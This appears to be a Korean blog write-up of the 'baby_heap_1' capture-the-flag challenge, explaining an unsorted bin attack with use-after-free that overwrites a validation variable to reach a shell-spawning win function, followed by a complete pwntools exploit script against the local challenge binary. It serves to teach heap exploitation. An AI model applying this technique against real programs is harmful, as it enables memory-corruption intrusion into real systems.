상세 컨텐츠

본문 제목

baby_heap_1 (unsorted bin attack)

SYSTEM HACKING/CTF, etc

by koharin 2020. 2. 28. 17:33

본문

728x90
반응형

# Protection Tech

 


# process

 

 

validation 변수 값이 0이 아니면 win 함수를 호출해서 쉘 실행 가능하다.

 

1) small chunk 1개, large chunk 1개 할당

 

2) 0번 청크 제거

- unsorted bin에 등록된다.

 

3) UAF로 0번 청크에 validation-0x10 주소 값을 넣는다.

 

bk 영역에 들어가 있는 것 확인할 수 있다.

 

4) 해제한 0번 청크와 같은 크기로 heap 할당

- unlink 과정에서 validation 값이 바뀌기 때문에 따로 값을 바꾸지 않아도 if 조건을 만족해서 win 함수가 호출될 수 있다.


# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#context.log_level = 'debug'
p = process("./baby_heap_1")
gdb.attach(p)
elf = ELF("./baby_heap_1")
validation = 0x6020a8

def add(size):
    p.sendlineafter("> ", '1')
    p.sendlineafter("Size: ", str(size))

def delete(index):
    p.sendlineafter("> ", '2')
    p.sendlineafter("idx: ", str(index))

def read(index, data):
    p.sendlineafter("> ", '3')
    p.sendlineafter("idx: ", str(index))
    p.sendlineafter("data: ", data)


add(0x80)
add(0x1e0)

delete(0)

pay = p64(validation-0x10)
read(0, pay)

add(0x80)

p.interactive()

 

# exploit

 


 

728x90
반응형

관련글 더보기